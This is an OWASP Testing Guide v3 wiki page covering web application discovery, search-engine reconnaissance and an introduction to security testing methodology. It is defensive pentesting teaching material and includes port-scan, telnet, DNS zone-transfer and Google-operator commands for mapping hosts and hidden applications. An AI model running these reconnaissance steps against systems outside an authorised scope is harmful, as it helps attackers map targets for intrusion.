OWASP - User contributions [en]

Enumerate Applications on Webserver (OTG-INFO-004)

2009-06-04T23:42:29Z

KirstenS: /* Black Box testing and example */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
A paramount step in testing for web application vulnerabilities is to find out which particular applications are hosted on a web server. Many applications have known vulnerabilities and known attack strategies that can be exploited in order to gain remote control or to exploit data. In addition, many applications are often misconfigured or not updated, due to the perception that they are only used "internally" and therefore no threat exists. 

== Description of the Issue ==
With the proliferation of virtual web servers, the traditional 1:1-type relationship between an IP address and a web server is losing much of its original significance. It is not uncommon to have multiple web sites / applications whose symbolic names resolve to the same IP address (this scenario is not limited to hosting environments, but also applies to ordinary corporate environments as well).

As a security professional, you are sometimes given a set of IP addresses (or possibly just one) as a target to test. It is arguable that this scenario is more akin to a pentest-type engagement, but in any case, it is expected that such an assignment would test all web applications accessible through this target (and possibly other things). The problem is that the given IP address hosts an HTTP service on port 80, but if you access it by specifying the IP address (which is all you know) it reports "No web server configured at this address" or a similar message. But that system could "hide" a number of web applications, associated to unrelated symbolic (DNS) names. Obviously, the extent of your analysis is deeply affected by the fact that you test the applications, or you do not - because you don't notice them, or you notice only SOME of them.
Sometimes, the target specification is richer – maybe you are handed out a list of IP addresses and their corresponding symbolic names. Nevertheless, this list might convey partial information, i.e., it could omit some symbolic names – and the client may not even being aware of that (this is more likely to happen in large organizations)!

Other issues affecting the scope of the assessment are represented by web applications published at non-obvious URLs (e.g., http://www.example.com/some-strange-URL), which are not referenced elsewhere. This may happen either by error (due to misconfigurations), or intentionally (for example, unadvertised administrative interfaces).

To address these issues, it is necessary to perform web application discovery.

== Black Box testing and example ==
Web application discovery is a process aimed at identifying web applications on a given infrastructure. The latter is usually specified as a set of IP addresses (maybe a net block), but may consist of a set of DNS symbolic names or a mix of the two.
This information is handed out prior to the execution of an assessment, be it a classic-style penetration test or an application-focused assessment. In both cases, unless the rules of engagement specify otherwise (e.g., “test only the application located at the URL http://www.example.com/”), the assessment should strive to be the most comprehensive in scope, i.e. it should identify all the applications accessible through the given target. In the following examples, we will examine a few techniques that can be employed to achieve this goal.

'''Note:''' Some of the following techniques apply to Internet-facing web servers, namely DNS and reverse-IP web-based search services and the use of search engines. Examples make use of private IP addresses (such as ''192.168.1.100''), which, unless indicated otherwise, represent ''generic'' IP addresses and are used only for anonymity purposes.

There are three factors influencing how many applications are related to a given DNS name (or an IP address):

'''1. Different base URL''' 
The obvious entry point for a web application is ''www.example.com'', i.e., with this shorthand notation we think of the web application originating at http://www.example.com/ (the same applies for https). However, even though this is the most common situation, there is nothing forcing the application to start at “/”.
For example, the same symbolic name may be associated to three web applications such as:
http://www.example.com/url1
http://www.example.com/url2
http://www.example.com/url3
In this case, the URL http://www.example.com/ would not be associated to a meaningful page, and the three applications would be “hidden”, unless we explicitly know how to reach them, i.e., we know ''url1'', ''url2'' or ''url3''. There is usually no need to publish web applications in this way, unless you don’t want them to be accessible in a standard way, and you are prepared to inform your users about their exact location. This doesn’t mean that these applications are secret, just that their existence and location is not explicitly advertised.

'''2. Non-standard ports''' 
While web applications usually live on port 80 (http) and 443 (https), there is nothing magic about these port numbers. In fact, web applications may be associated with arbitrary TCP ports, and can be referenced by specifying the port number as follows: http[s]://www.example.com:port/. For example, http://www.example.com:20000/.

'''3. Virtual hosts''' 
DNS allows us to associate a single IP address to one or more symbolic names. For example, the IP address ''192.168.1.100'' might be associated to DNS names ''www.example.com, helpdesk.example.com, webmail.example.com'' (actually, it is not necessary that all the names belong to the same DNS domain). This 1-to-N relationship may be reflected to serve different content by using so called virtual hosts. The information specifying the virtual host we are referring to is embedded in the HTTP 1.1 ''Host:'' header [1].

We would not suspect the existence of other web applications in addition to the obvious ''www.example.com'', unless we know of ''helpdesk.example.com'' and ''webmail.example.com''.

'''Approaches to address issue 1 - non-standard URLs''' 
There is no way to fully ascertain the existence of non-standard-named web applications. Being non-standard, there is no fixed criteria governing the naming convention, however there are a number of techniques that the tester can use to gain some additional insight.
First, if the web server is misconfigured and allows directory browsing, it may be possible to spot these applications. Vulnerability scanners may help in this respect.
Second, these applications may be referenced by other web pages; as such, there is a chance that they have been spidered and indexed by web search engines. If we suspect the existence of such “hidden” applications on ''www.example.com'' we could do a bit of googling using the ''site'' operator and examining the result of a query for “site: www.example.com”. Among the returned URLs there could be one pointing to such a non-obvious application.
Another option is to probe for URLs which might be likely candidates for non-published applications. For example, a web mail front end might be accessible from URLs such as https://www.example.com/webmail, https://webmail.example.com/, or https://mail.example.com/. The same holds for administrative interfaces, which may be published at hidden URLs (for example, a Tomcat administrative interface), and yet not referenced anywhere. So, doing a bit of dictionary-style searching (or “intelligent guessing”) could yield some results. Vulnerability scanners may help in this respect.

'''Approaches to address issue 2 - non-standard ports''' 
It is easy to check for the existence of web applications on non-standard ports. A port scanner such as nmap [2] is capable of performing service recognition by means of the -sV option, and will identify http[s] services on arbitrary ports. What is required is a full scan of the whole 64k TCP port address space.
For example, the following command will look up, with a TCP connect scan, all open ports on IP ''192.168.1.100'' and will try to determine what services are bound to them (only ''essential'' switches are shown – nmap features a broad set of options, whose discussion is out of scope):
<pre>
nmap –PN –sT –sV –p0-65535 192.168.1.100
</pre>
It is sufficient to examine the output and look for http or the indication of SSL-wrapped services (which should be probed to confirm that they are https). For example, the output of the previous command could look like:
<pre>
Interesting ports on 192.168.1.100:
(The 65527 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.40 ((Red Hat Linux))
443/tcp open ssl OpenSSL
901/tcp open http Samba SWAT administration server
1241/tcp open ssl Nessus security scanner
3690/tcp open unknown
8000/tcp open http-alt?
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
</pre>
From this example, we see that:
* There is an Apache http server running on port 80.
* It looks like there is an https server on port 443 (but this needs to be confirmed, for example, by visiting https://192.168.1.100 with a browser).
* On port 901 there is a Samba SWAT web interface.
* The service on port 1241 is not https, but is the SSL-wrapped Nessus daemon.
* Port 3690 features an unspecified service (nmap gives back its ''fingerprint'' - here omitted for clarity - together with instructions to submit it for incorporation in the nmap fingerprint database, provided you know which service it represents).
* Another unspecified service on port 8000; this might possibly be http, since it is not uncommon to find http servers on this port. Let's give it a look:
<pre>
$ telnet 192.168.10.100 8000
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is '^]'.
GET / HTTP/1.0

HTTP/1.0 200 OK
pragma: no-cache
Content-Type: text/html
Server: MX4J-HTTPD/1.0
expires: now
Cache-Control: no-cache

<html>
...
</pre>
This confirms that in fact it is an HTTP server. Alternatively, we could have visited the URL with a web browser; or used the GET or HEAD Perl commands, which mimic HTTP interactions such as the one given above (however HEAD requests may not be honored by all servers).
* Apache Tomcat running on port 8080.

The same task may be performed by vulnerability scanners – but first check that your scanner of choice is able to identify http[s] services running on non-standard ports. For example, Nessus [3] is capable of identifying them on arbitrary ports (provided you instruct it to scan all the ports), and will provide – with respect to nmap – a number of tests on known web server vulnerabilities, as well as on the SSL configuration of https services. As hinted before, Nessus is also able to spot popular applications / web interfaces which could otherwise go unnoticed (for example, a Tomcat administrative interface).

'''Approaches to address issue 3 - virtual hosts''' 
There are a number of techniques which may be used to identify DNS names associated to a given IP address ''x.y.z.t''.

''DNS zone transfers'' 
This technique has limited use nowadays, given the fact that zone transfers are largely not honored by DNS servers. However, it may be worth a try.
First of all, we must determine the name servers serving ''x.y.z.t''. If a symbolic name is known for ''x.y.z.t'' (let it be ''www.example.com''), its name servers can be determined by means of tools such as ''nslookup'', ''host'', or ''dig'', by requesting DNS NS records.
If no symbolic names are known for ''x.y.z.t'', but your target definition contains at least a symbolic name, you may try to apply the same process and query the name server of that name (hoping that ''x.y.z.t'' will be served as well by that name server). For example, if your target consists of the IP address ''x.y.z.t'' and the name ''mail.example.com'', determine the name servers for domain ''example.com''.

The following example shows how to identify the name servers for www.owasp.org by using the host command:
<pre>
$ host -t ns www.owasp.org
www.owasp.org is an alias for owasp.org.
owasp.org name server ns1.secure.net.
owasp.org name server ns2.secure.net.
</pre>
A zone transfer may now be requested to the name servers for domain ''example.com''. If you are lucky, you will get back a list of the DNS entries for this domain. This will include the obvious ''www.example.com'' and the not-so-obvious ''helpdesk.example.com'' and ''webmail.example.com'' (and possibly others). Check all names returned by the zone transfer and consider all of those which are related to the target being evaluated. 

Trying to request a zone transfer for owasp.org from one of its name servers:
<pre>
$ host -l www.owasp.org ns1.secure.net
Using domain server:
Name: ns1.secure.net
Address: 192.220.124.10#53
Aliases:

Host www.owasp.org not found: 5(REFUSED)
; Transfer failed.
</pre>

''DNS inverse queries'' 
This process is similar to the previous one, but relies on inverse (PTR) DNS records. Rather than requesting a zone transfer, try setting the record type to PTR and issue a query on the given IP address. If you are lucky, you may get back a DNS name entry. This technique relies on the existence of IP-to-symbolic name maps, which is not guaranteed.

''Web-based DNS searches'' 
This kind of search is akin to DNS zone transfer, but relies on web-based services that enable name-based searches on DNS. One such service is the ''Netcraft Search DNS'' service, available at http://searchdns.netcraft.com/?host. You may query for a list of names belonging to your domain of choice, such as ''example.com''. Then you will check whether the names you obtained are pertinent to the target you are examining.

''Reverse-IP services'' 
Reverse-IP services are similar to DNS inverse queries, with the difference that you query a web-based application instead of a name server. There are a number of such services available. Since they tend to return partial (and often different) results, it is better to use multiple services to obtain a more comprehensive analysis.

''Domain tools reverse IP'': http://www.domaintools.com/reverse-ip/
(requires free membership)

''MSN search'': http://search.msn.com
syntax: "ip:x.x.x.x" (without the quotes)

''Webhosting info'': http://whois.webhosting.info/
syntax: http://whois.webhosting.info/x.x.x.x

''DNSstuff'': http://www.dnsstuff.com/
(multiple services available)

http://net-square.com/msnpawn/index.shtml
(multiple queries on domains and IP addresses, requires installation)

''tomDNS'': http://www.tomdns.net/
(some services are still private at the time of writing)

''SEOlogs.com'': http://www.seologs.com/ip-domains.html
(reverse-IP/domain lookup)

The following example shows the result of a query to one of the above reverse-IP services to 216.48.3.18, the IP address of www.owasp.org. Three additional non-obvious symbolic names mapping to the same address have been revealed.

<center>
[[Image:Owasp-Info.jpg]]
</center>

''Googling'' 
Following information gathering from the previous techniques, you can rely on search engines to possibly refine and increment your analysis. This may yield evidence of additional symbolic names belonging to your target, or applications accessible via non-obvious URLs.
For instance, considering the previous example regarding ''www.owasp.org'', you could query Google and other search engines looking for information (hence, DNS names) related to the newly discovered domains of ''webgoat.org'', ''webscarab.com'', and ''webscarab.net''.
Googling techniques are explained in [[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|Testing: Spiders, Robots, and Crawlers]].

== Gray Box testing and example ==
Not applicable. The methodology remains the same as listed in Black Box testing no matter how much information you start with.

== References ==
'''Whitepapers'''
[1] RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1

'''Tools'''
* DNS lookup tools such as ''nslookup'', ''dig'' or similar.
* Port scanners (such as nmap, http://www.insecure.org) and vulnerability scanners (such as Nessus: http://www.nessus.org; wikto: http://www.sensepost.com/research/wikto/).
* Search engines (Google, and other major engines).
* Specialized DNS-related web-based search service: see text.
* nmap - http://www.insecure.org
* Nessus Vulnerability Scanner - http://www.nessus.org

Conduct search engine discovery/reconnaissance for information leakage (OTG-INFO-001)

2009-06-04T22:37:58Z

KirstenS: /* Black Box Testing */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
This section describes how to search the Google Index and remove the associated web content from the Google Cache.

== Description of the Issue ==
Once the GoogleBot has completed crawling, it commences indexing the web page based on tags and associated attributes, such as <TITLE>, in order to return the relevant search results. [1]

If the robots.txt file is not updated during the lifetime of the web site, then it is possible for web content not intended to be included in Google's Search Results to be returned.

Therefore, it must be removed from the Google Cache.

== Black Box Testing==
Using the advanced "site:" search operator, it is possible to restrict Search Results to a specific domain [2].

Google provides the Advanced "cache:" search operator [2], but this is the equivalent to clicking the "Cached" next to each Google Search Result. Hence, the use of the Advanced "site:" Search Operator and then clicking "Cached" is preferred.

The Google SOAP Search API supports the doGetCachedPage and the associated doGetCachedPageResponse SOAP Messages [3] to assist with retrieving cached pages. An implementation of this is under development by the [[::Category:OWASP_Google_Hacking_Project |OWASP "Google Hacking" Project]].

== Example ==
To find the web content of owasp.org indexed by Google Cache the following Google Search Query is issued:
<pre>
site:owasp.org
</pre>
[[Image:Google_site_Operator_Search_Results_Example.JPG]]

To display the index.html of owasp.org as cached by Google the following Google Search Query is issued:
<pre>
cache:owasp.org
</pre>
[[Image:Google_Cached_Example.JPG]]

== Gray Box testing and example ==
Grey Box testing is the same as Black Box testing above.

== References ==
[1] "Google 101: How Google crawls, indexes, and serves the web" - http://www.google.com/support/webmasters/bin/answer.py?answer=70897 
[2] "Advanced Google Search Operators" - http://www.google.com/help/operators.html 
[3] "Google SOAP Search API" - http://code.google.com/apis/soapsearch/reference.html#1_2 
[4] "Preventing content from appearing in Google search results" - http://www.google.com/support/webmasters/bin/topic.py?topic=8459

Testing Guide Introduction

2009-05-27T12:54:40Z

KirstenS: /* References */

{{Template:OWASP Testing Guide v3}}

=== The OWASP Testing Project ===
----
The OWASP Testing Project has been in development for many years. With this project, we wanted to help people understand the ''what'', ''why'', ''when'', ''where'', and ''how'' of testing their web applications, and not just provide a simple checklist or prescription of issues that should be addressed. The outcome of this project is a complete Testing Framework, from which others can build their own testing programs or qualify other people’s processes. The Testing Guide describes in details both the general Testing Framework and the techniques required to implement the framework in practice.

Writing the Testing Guide has proven to be a difficult task. It has been a challenge to obtain consensus and develop the content that allows people to apply the concepts described here, while enabling them to work in their own environment and culture. It has also been a challenge to change the focus of web application testing from penetration testing to testing integrated in the software development life cycle.

However, we are very satisfied with the results we have reached. Many industry experts and those responsible for software security at some of the largest companies in the world are validating the Testing Framework. This framework helps organizations test their web applications in order to build reliable and secure software, rather than simply highlighting areas of weakness, although the latter is certainly a byproduct of many of OWASP’s guides and checklists. As such, we have made some hard decisions about the appropriateness of certain testing techniques and technologies, which we fully understand will not be agreed upon by everyone. However, OWASP is able to take the high ground and change culture over time through awareness and education based on consensus and experience.

The rest of this guide is organized as follows. This introduction covers the pre-requisites of testing web applications: the scope of testing, the principles of successful testing, and testing techniques. Chapter 3 presents the OWASP Testing Framework and explains its techniques and tasks in relation to the various phases of the software development life cycle. Chapter 4 covers how to test for specific vulnerabilities (e.g., SQL Injection) by code inspection and penetration testing.

'''Measuring (in)security: the Economics of Insecure Software''' 
A basic tenet of software engineering is that you can't control what you can't measure [1]. Security testing is no different. Unfortunately, measuring security is a notoriously difficult process. We will not cover this topic in detail here, since it would take a guide on its own (for an introduction, see [2]).

One aspect that we want to emphasize, however, is that security measurements are, by necessity, about both the specific, technical issues (e.g., how prevalent a certain vulnerability is) and how these affect the economics of software. We find that most technical people understand at least the basic issues, or have a deeper understanding, of the vulnerabilities. Sadly, few are able to translate that technical knowledge into monetary terms, and, thereby, quantify the potential cost of vulnerabilities to the application owner's business. We believe that until this happens, CIOs will not be able to develop an accurate return on security investment and, subsequently, assign appropriate budgets for software security. 
While estimating the cost of insecure software may appear a daunting task, recently there has been a significant amount of work in this direction. For example, in June 2002, the US National Institute of Standards (NIST) published a survey on the cost of insecure software to the US economy due to inadequate software testing [3]. Interestingly, they estimate that a better testing infrastructure would save more than a third of these costs, or about $22 billion a year. More recently, the links between economics and security have been studied by academic researchers. See [4] for more information about some of these efforts.

The framework described in this document encourages people to measure security throughout their entire development process. They can then relate the cost of insecure software to the impact it has on their business, and consequently develop appropriate business decisions (resources) to manage the risk. Remember: measuring and testing web applications is even more critical than for other software, since web applications are exposed to millions of users through the Internet.

'''What is Testing''' 
What do we mean by testing? During the development life cycle of a web application, many things need to be tested. The Merriam-Webster Dictionary describes testing as:
* To put to test or proof.
* To undergo a test.
* To be assigned a standing or evaluation based on tests.
For the purposes of this document, testing is a process of comparing the state of a system/application against a set of criteria. In the security industry, people frequently test against a set of mental criteria that are neither well defined nor complete. For this reason and others, many outsiders regard security testing as a black art. This document’s aim is to change that perception and to make it easier for people without in-depth security knowledge to make a difference.

'''Why Testing''' 
This document is designed to help organizations understand what comprises a testing program, and to help them identify the steps that they need to undertake to build and operate that testing program on their web applications. It is intended to give a broad view of the elements required to make a comprehensive web application security program. This guide can be used as a reference and as a methodology to help determine the gap between your existing practices and industry best practices. This guide allows organizations to compare themselves against industry peers, understand the magnitude of resources required to test and maintain their software, or prepare for an audit. This chapter does not go into the technical details of how to test an application, as the intent is to provide a typical security organizational framework. The technical details about how to test an application, as part of a penetration test or code review will be covered in the remaining parts of this document.

'''When to Test''' 
Most people today don’t test the software until it has already been created and is in the deployment phase of its life cycle (i.e., code has been created and instantiated into a working web application). This is generally a very ineffective and cost-prohibitive practice. One of the best methods to prevent security bugs from appearing in production applications is to improve the Software Development Life Cycle (SDLC) by including security in each of its phases. An SDLC is a structure imposed on the development of software artifacts. If an SDLC is not currently being used in your environment, it is time to pick one! The following figure shows a generic SDLC model as well as the (estimated) increasing cost of fixing security bugs in such a model.

<center>[[Image:SDLC.jpg]] 
''Figure 1: Generic SDLC Model'' </center>

Companies should inspect their overall SDLC to ensure that security is an integral part of the development process. SDLCs should include security tests to ensure security is adequately covered and controls are effective throughout the development process.

'''What to Test''' 
It can be helpful to think of software development as a combination of people, process, and technology. If these are the factors that "create" software, then it is logical that these are the factors that must be tested. Today most people generally test the technology or the software itself.

An effective testing program should have components that test ''People'' – to ensure that there is adequate education and awareness; ''Process'' – to ensure that there are adequate policies and standards and that people know how to follow these policies; ''Technology'' – to ensure that the process has been effective in its implementation. Unless a holistic approach is adopted, testing just the technical implementation of an application will not uncover management or operational vulnerabilities that could be present. By testing the people, policies, and processes, an organization can catch issues that would later manifest themselves into defects in the technology, thus eradicating bugs early and identifying the root causes of defects. Likewise, testing only some of the technical issues that can be present in a system will result in an incomplete and inaccurate security posture assessment. Denis Verdon, Head of Information Security at [http://www.fnf.com Fidelity National Financial] presented an excellent analogy for this misconception at the OWASP AppSec 2004 Conference in New York [5]: "If cars were built like applications [...] safety tests would assume frontal impact only. Cars would not be roll tested, or tested for stability in emergency maneuvers, brake effectiveness, side impact, and resistance to theft." 

'''Feedback and Comments''' 
As with all OWASP projects, we welcome comments and feedback. We especially like to know that our work is being used and that it is effective and accurate.

==Principles of Testing==

There are some common misconceptions when developing a testing methodology to weed out security bugs in software. This chapter covers some of the basic principles that should be taken into account by professionals when testing for security bugs in software.

'''There is No Silver Bullet''' 
While it is tempting to think that a security scanner or application firewall will either provide a multitude of defenses or identify a multitude of problems, in reality there are no silver bullets to the problem of insecure software. Application security assessment software, while useful as a first pass to find low-hanging fruit, is generally immature and ineffective at in-depth assessments and at providing adequate test coverage. Remember that security is a process, not a product.

'''Think Strategically, Not Tactically''' 
Over the last few years, security professionals have come to realize the fallacy of the patch-and-penetrate model that was pervasive in information security during the 1990’s. The patch-and-penetrate model involves fixing a reported bug, but without proper investigation of the root cause. This model is usually associated with the window of vulnerability shown in the figure below. The evolution of vulnerabilities in common software used worldwide has shown the ineffectiveness of this model. Fore more information about the window of vulnerability please refer to [6]. Vulnerability studies [7] have shown that with the reaction time of attackers worldwide, the typical window of vulnerability does not provide enough time for patch installation, since the time between a vulnerability being uncovered and an automated attack against it being developed and released is decreasing every year. There are also several wrong assumptions in the patch-and-penetrate model: patches interfere with the normal operations and might break existing applications, and not all the users might (in the end) be aware of a patch’s availability. Consequently not all the product's users will apply patches, either because of this issue or because they lack knowledge about the patch's existence. 

<center>[[Image:WindowExposure.jpg]] 
''Figure 2: Window of Vulnerability''</center> 
To prevent reoccurring security problems within an application, it is essential to build security into the Software Development Life Cycle (SDLC) by developing standards, policies, and guidelines that fit and work within the development methodology. Threat modeling and other techniques should be used to help assign appropriate resources to those parts of a system that are most at risk.
 
'''The SDLC is King''' 
The SDLC is a process that is well-known to developers. By integrating security into each phase of the SDLC, it allows for a holistic approach to application security that leverages the procedures already in place within the organization. Be aware that while the names of the various phases may change depending on the SDLC model used by an organization, each conceptual phase of the archetype SDLC will be used to develop the application (i.e., define, design, develop, deploy, maintain). Each phase has security considerations that should become part of the existing process, to ensure a cost-effective and comprehensive security program.
 
'''Test Early and Test Often''' 
When a bug is detected early within the SDLC, it can be addressed more quickly and at a lower cost. A security bug is no different from a functional or performance-based bug in this regard. A key step in making this possible is to educate the development and QA organizations about common security issues and the ways to detect and prevent them. Although new libraries, tools, or languages might help design better programs (with fewer security bugs), new threats arise constantly and developers must be aware of those that affect the software they are developing. Education in security testing also helps developers acquire the appropriate mindset to test an application from an attacker's perspective. This allows each organization to consider security issues as part of their existing responsibilities.
 
'''Understand the Scope of Security''' 
It is important to know how much security a given project will require. The information and assets that are to be protected should be given a classification that states how they are to be handled (e.g., Confidential, Secret, Top Secret). Discussions should occur with legal council to ensure that any specific security need will be met. In the USA they might come from federal regulations, such as the Gramm-Leach-Bliley Act [8], or from state laws, such as the California SB-1386 [9]. For organizations based in EU countries, both country-specific regulation and EU Directives might apply. For example, Directive 96/46/EC4 [10] makes it mandatory to treat personal data in applications with due care, whatever the application.
 
'''Develop the Right Mindset''' 
Successfully testing an application for security vulnerabilities requires thinking "outside of the box." Normal use cases will test the normal behavior of the application when a user is using it in the manner that you expect. Good security testing requires going beyond what is expected and thinking like an attacker who is trying to break the application. Creative thinking can help to determine what unexpected data may cause an application to fail in an insecure manner. It can also help find what assumptions made by web developers are not always true and how they can be subverted. This is one of the reasons why automated tools are actually bad at automatically testing for vulnerabilities: this creative thinking must be done on a case-by-case basis and most web applications are being developed in a unique way (even if using common frameworks).
 
'''Understand the Subject''' 
One of the first major initiatives in any good security program should be to require accurate documentation of the application. The architecture, data-flow diagrams, use cases, and more should be written in formal documents and made available for review. The technical specification and application documents should include information that lists not only the desired use cases, but also any specifically disallowed use case. Finally, it is good to have at least a basic security infrastructure that allows the monitoring and trending of attacks against an organization's applications and network (e.g., IDS systems).
 
'''Use the Right Tools''' 
While we have already stated that there is no silver bullet tool, tools do play a critical role in the overall security program. There is a range of open source and commercial tools that can automate many routine security tasks. These tools can simplify and speed up the security process by assisting security personnel in their tasks. It is important to understand exactly what these tools can and cannot do, however, so that they are not oversold or used incorrectly.
 
'''The Devil is in the Details''' 
It is critical not to perform a superficial security review of an application and consider it complete. This will instill a false sense of confidence that can be as dangerous as not having done a security review in the first place. It is vital to carefully review the findings and weed out any false positive that may remain in the report. Reporting an incorrect security finding can often undermine the valid message of the rest of a security report. Care should be taken to verify that every possible section of application logic has been tested, and that every use case scenario was explored for possible vulnerabilities.
 
'''Use Source Code When Available''' 
While black box penetration test results can be impressive and useful to demonstrate how vulnerabilities are exposed in production, they are not the most effective way to secure an application. If the source code for the application is available, it should be given to the security staff to assist them while performing their review. It is possible to discover vulnerabilities within the application source that would be missed during a black box engagement.
 
'''Develop Metrics''' 
An important part of a good security program is the ability to determine if things are getting better. It is important to track the results of testing engagements, and develop metrics that will reveal the application security trends within the organization. These metrics can show if more education and training are required, if there is a particular security mechanism that is not clearly understood by development, and if the total number of security related problems being found each month is going down. Consistent metrics that can be generated in an automated way from available source code will also help the organization in assessing the effectiveness of mechanisms introduced to reduce security bugs in software development. Metrics are not easily developed, so using standard metrics like those provided by the OWASP Metrics project and other organizations might be a good head start. 
'''Document the Test Results''' 
To conclude the testing process, it is important to produce a formal record of what testing actions were taken, by whom, when they ware performed, and details of the test findings. It is wise to agree on an acceptable format for the report which is useful to all concerned parties, which may include developers, project management, business owners, IT department, audit, and compliance. The report must be clear to the business owner in identifying where material risks exist and sufficient to get their backing for subsequent mitigation actions. The report must be clear to the developer in pin-pointing the exact function that is affected by the vulnerability, with associated recommendations for resolution in a language that the developer will understand (no pun intended). Last but not least, the report writing should not be overly burdensome on the security tester themselves; security testers are not generally renowned for their creative writing skills, therefore agreeing on a complex report can lead to instances where test results do not get properly documented.

==Testing Techniques Explained==

This section presents a high-level overview of various testing techniques that can be employed when building a testing program. It does not present specific methodologies for these techniques, although Chapter 3 will address this information. This section is included to provide context for the framework presented in the next hapter and to highlight the advantages and disadvantages of some of the techniques that should be considered. In particular, we will cover:
* Manual Inspections & Reviews
* Threat Modeling
* Code Review
* Penetration Testing

=== Manual Inspections & Reviews ===
'''Overview''' 
Manual inspections are human-driven reviews that typically test the security implications of the people, policies, and processes, but can include inspection of technology decisions such as architectural designs. They are usually conducted by analyzing documentation or performing interviews with the designers or system owners. While the concept of manual inspections and human reviews is simple, they can be among the most powerful and effective techniques available. By asking someone how something works and why it was implemented in a specific way, it allows the tester to quickly determine if any security concerns are likely to be evident. Manual inspections and reviews are one of the few ways to test the software development life-cycle process itself and to ensure that there is an adequate policy or skill set in place. As with many things in life, when conducting manual inspections and reviews we suggest you adopt a trust-but-verify model. Not everything everyone tells you or shows you will be accurate. Manual reviews are particularly good for testing whether people understand the security process, have been made aware of policy, and have the appropriate skills to design or implement a secure application. Other activities, including manually reviewing the documentation, secure coding policies, security requirements, and architectural designs, should all be accomplished using manual inspections.

'''Advantages:'''
* Requires no supporting technology
* Can be applied to a variety of situations
* Flexible
* Promotes teamwork
* Early in the SDLC

'''Disadvantages:'''
* Can be time consuming
* Supporting material not always available
* Requires significant human thought and skill to be effective!

=== Threat Modeling ===
'''Overview''' 
Threat modeling has become a popular technique to help system designers think about the security threats that their systems/applications might face. Therefore, threat modeling can be seen as risk assessment for applications. In fact, it enables the designer to develop mitigation strategies for potential vulnerabilities and helps them focus their inevitably limited resources and attention on the parts of the system that most require it. It is recommended that all applications have a threat model developed and documented. Threat models should be created as early as possible in the SDLC, and should be revisited as the application evolves and development progresses. To develop a threat model, we recommend taking a simple approach that follows the NIST 800-30 [11] standard for risk assessment. This approach involves:
* Decomposing the application – understand, through a process of manual inspection, how the application works, its assets, functionality, and connectivity.
* Defining and classifying the assets – classify the assets into tangible and intangible assets and rank them according to business importance.
* Exploring potential vulnerabilities - whether technical, operational, or management.
* Exploring potential threats – develop a realistic view of potential attack vectors from an attacker’s perspective, by using threat scenarios or attack trees.
* Creating mitigation strategies – develop mitigating controls for each of the threats deemed to be realistic. The output from a threat model itself can vary but is typically a collection of lists and diagrams. The OWASP Code Review Guide outlines an Application Threat Modeling methodology that can be used as a reference for the testing applications for potential security flaws in the design of the application. There is no right or wrong way to develop threat models and perform information risk assessments on applications. [12]. 

'''Advantages:'''
* Practical attacker's view of the system
* Flexible
* Early in the SDLC

'''Disadvantages: '''
* Relatively new technique
* Good threat models don’t automatically mean good software

=== Source Code Review ===
'''Overview''' 
Source code review is the process of manually checking a web application's source code for security issues. Many serious security vulnerabilities cannot be detected with any other form of analysis or testing. As the popular saying goes “if you want to know what’s really going on, go straight to the source." Almost all security experts agree that there is no substitute for actually looking at the code. All the information for identifying security problems is there in the code somewhere. Unlike testing third party closed software such as operating systems, when testing web applications (especially if they have been developed in-house) the source code should be made available for testing purposes. Many unintentional but significant security problems are also extremely difficult to discover with other forms of analysis or testing, such as penetration testing, making source code analysis the technique of choice for technical testing. With the source code, a tester can accurately determine what is happening (or is supposed to be happening) and remove the guess work of black box testing. Examples of issues that are particularly conducive to being found through source code reviews include concurrency problems, flawed business logic, access control problems, and cryptographic weaknesses as well as backdoors, Trojans, Easter eggs, time bombs, logic bombs, and other forms of malicious code. These issues often manifest themselves as the most harmful vulnerabilities in web sites. Source code analysis can also be extremely efficient to find implementation issues such as places where input validation was not performed or when fail open control procedures may be present. But keep in mind that operational procedures need to be reviewed as well, since the source code being deployed might not be the same as the one being analyzed herein [13]. 

'''Advantages:'''
* Completeness and effectiveness
* Accuracy
* Fast (for competent reviewers)

'''Disadvantages:'''
* Requires highly skilled security developers
* Can miss issues in compiled libraries
* Cannot detect run-time errors easily
* The source code actually deployed might differ from the one being analyzed

'''For more on code review, checkout the [[OWASP Code Review Project|OWASP code review project]]'''. 

=== Penetration Testing ===
'''Overview''' 
Penetration testing has been a common technique used to test network security for many years. It is also commonly known as black box testing or ethical hacking. Penetration testing is essentially the “art” of testing a running application remotely, without knowing the inner workings of the application itself, to find security vulnerabilities. Typically, the penetration test team would have access to an application as if they were users. The tester acts like an attacker and attempts to find and exploit vulnerabilities. In many cases the tester will be given a valid account on the system. While penetration testing has proven to be effective in network security, the technique does not naturally translate to applications. When penetration testing is performed on networks and operating systems, the majority of the work is involved in finding and then exploiting known vulnerabilities in specific technologies. As web applications are almost exclusively bespoke, penetration testing in the web application arena is more akin to pure research. Penetration testing tools have been developed that automate the process, but, again, with the nature of web applications their effectiveness is usually poor. Many people today use web application penetration testing as their primary security testing technique. Whilst it certainly has its place in a testing program, we do not believe it should be considered as the primary or only testing technique. Gary McGraw in [14] summed up penetration testing well when he said, “If you fail a penetration test you know you have a very bad problem indeed. If you pass a penetration test you do not know that you don’t have a very bad problem”. However, focused penetration testing (i.e., testing that attempts to exploit known vulnerabilities detected in previous reviews) can be useful in detecting if some specific vulnerabilities are actually fixed in the source code deployed on the web site. 

'''Advantages:'''
* Can be fast (and therefore cheap)
* Requires a relatively lower skill-set than source code review
* Tests the code that is actually being exposed

'''Disadvantages:'''
* Too late in the SDLC
* Front impact testing only!

=== The Need for a Balanced Approach ===
With so many techniques and so many approaches to testing the security of web applications, it can be difficult to understand which techniques to use and when to use them.
Experience shows that there is no right or wrong answer to exactly what techniques should be used to build a testing framework. The fact remains that all techniques should probably be used to ensure that all areas that need to be tested are tested. What is clear, however, is that there is no single technique that effectively covers all security testing that must be performed to ensure that all issues have been addressed. Many companies adopt one approach, which has historically been penetration testing. Penetration testing, while useful, cannot effectively address many of the issues that need to be tested, and is simply “too little too late” in the software development life cycle (SDLC).
The correct approach is a balanced one that includes several techniques, from manual interviews to technical testing. The balanced approach is sure to cover testing in all phases of the SDLC. This approach leverages the most appropriate techniques available depending on the current SDLC phase.
